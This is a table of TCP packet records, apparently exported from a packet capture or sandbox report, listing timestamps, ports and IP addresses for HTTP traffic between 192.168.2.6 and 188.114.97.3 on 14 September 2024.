Sep 14, 2024 18:44:16.370024920 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.370070934 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370102882 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370122910 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.370153904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370184898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370206118 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.370254040 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370285034 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370302916 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.370332956 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370363951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370384932 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.370415926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370448112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370465994 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.370495081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370526075 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370543003 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.370574951 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370606899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370625019 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.370655060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370688915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370707989 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.370738983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370770931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370790005 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.370820045 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370851994 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370870113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.370901108 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370930910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.370949984 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.370982885 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.371016979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.371037006 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.422002077 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.447237015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.447295904 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.447329998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.447479963 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.447504997 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.447534084 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.447577953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.447628975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.447662115 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.447683096 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.447715044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.447747946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.447768927 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.447798967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.447829962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.447849035 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.447895050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.447942972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.447967052 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448002100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448034048 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448054075 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.448085070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448113918 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448133945 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.448163986 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448194981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448215008 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.448246002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448276997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448297977 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.448332071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448364973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448385954 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.448415995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448445082 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448463917 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.448494911 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448527098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448544979 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.448591948 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448623896 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448642015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448666096 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.448694944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448717117 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.448748112 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448780060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448801041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.448831081 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448862076 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448880911 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.448930979 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448972940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.448987007 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.449012041 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.449043036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.449064016 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.449093103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.449120998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.449140072 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.449170113 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.449202061 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.449222088 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.449268103 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.449300051 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.449318886 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.449348927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.449395895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.449419022 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.449445009 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.449476004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.449496031 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:16.449527025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:16.449579000 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.539403915 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.544588089 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.645103931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.645806074 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.650649071 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.750824928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.750854015 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.750869036 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.750884056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.750897884 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.750914097 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.750927925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751012087 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.751044035 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751054049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.751066923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751081944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751094103 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.751105070 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751121998 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.751131058 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751178980 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.751313925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751329899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751343966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751359940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751370907 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.751393080 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751405001 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.751426935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751441002 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751447916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751461983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751487017 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.751688957 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751704931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751718044 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751734972 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.751749039 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751761913 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.751780987 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751796007 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751811028 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751821041 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.751833916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751848936 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751857996 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.751871109 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751885891 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.751893997 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751908064 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751923084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.751933098 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.751960039 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.752464056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.752480030 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.752492905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.752506971 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.752521038 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.752532005 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.752540112 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.752553940 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.752568960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.752583981 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.752593994 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.752607107 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.752620935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.752630949 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.752644062 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.752657890 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.752669096 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.752681017 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.752695084 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.752705097 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.752718925 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.752727032 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.752738953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.752754927 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.752789974 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.753293037 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753307104 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753321886 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753341913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753369093 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.753377914 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.753387928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753403902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753418922 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753429890 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.753441095 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753456116 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753464937 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.753479004 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753494024 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.753500938 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753513098 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753526926 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753537893 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.753550053 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753566027 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.753572941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753587008 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753602982 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753611088 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.753623962 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753638029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753647089 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.753659964 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753669024 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.753681898 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.753717899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.754156113 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.754283905 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754300117 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754314899 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754328966 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754343033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754357100 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754370928 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754384995 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754398108 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.754407883 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754426003 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754436016 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.754436016 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.754436970 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.754456043 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754470110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754479885 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.754492998 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754508018 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754518032 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.754529953 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754544020 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754558086 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754571915 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754586935 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754596949 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.754607916 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.754621983 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754627943 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.754641056 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.754661083 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.755250931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755275965 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755289078 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755297899 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.755315065 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755328894 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.755337000 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755351067 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755364895 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755373955 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.755408049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.755415916 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755429029 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755444050 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755461931 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755469084 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.755481958 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755496025 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755508900 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.755518913 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755537033 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755543947 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.755557060 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755569935 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.755580902 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755594969 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755609989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755619049 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.755631924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755645990 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.755654097 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.755681038 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.756104946 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.756119967 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.756135941 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.756150961 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.756160975 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.756207943 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.839294910 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.839337111 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.839360952 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.839375973 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.839399099 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.839418888 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.839430094 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.839484930 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.839499950 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.839515924 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.839525938 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.839540005 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.839555979 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.839564085 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.839601040 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.839773893 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.839787960 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.839802980 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.839819908 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.839829922 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.839843988 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.839858055 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.839868069 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.839881897 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.839891911 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.840061903 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840076923 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840091944 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840106964 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.840116024 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840138912 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.840265989 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840281010 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840296984 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840306997 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.840320110 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840332985 CEST	49722	80	192.168.2.6	188.114.97.3
Sep 14, 2024 18:44:17.840344906 CEST	80	49722	188.114.97.3	192.168.2.6
Sep 14, 2024 18:44:17.840358973 CEST	80	49722	188.114.97.3	192.168.2.6
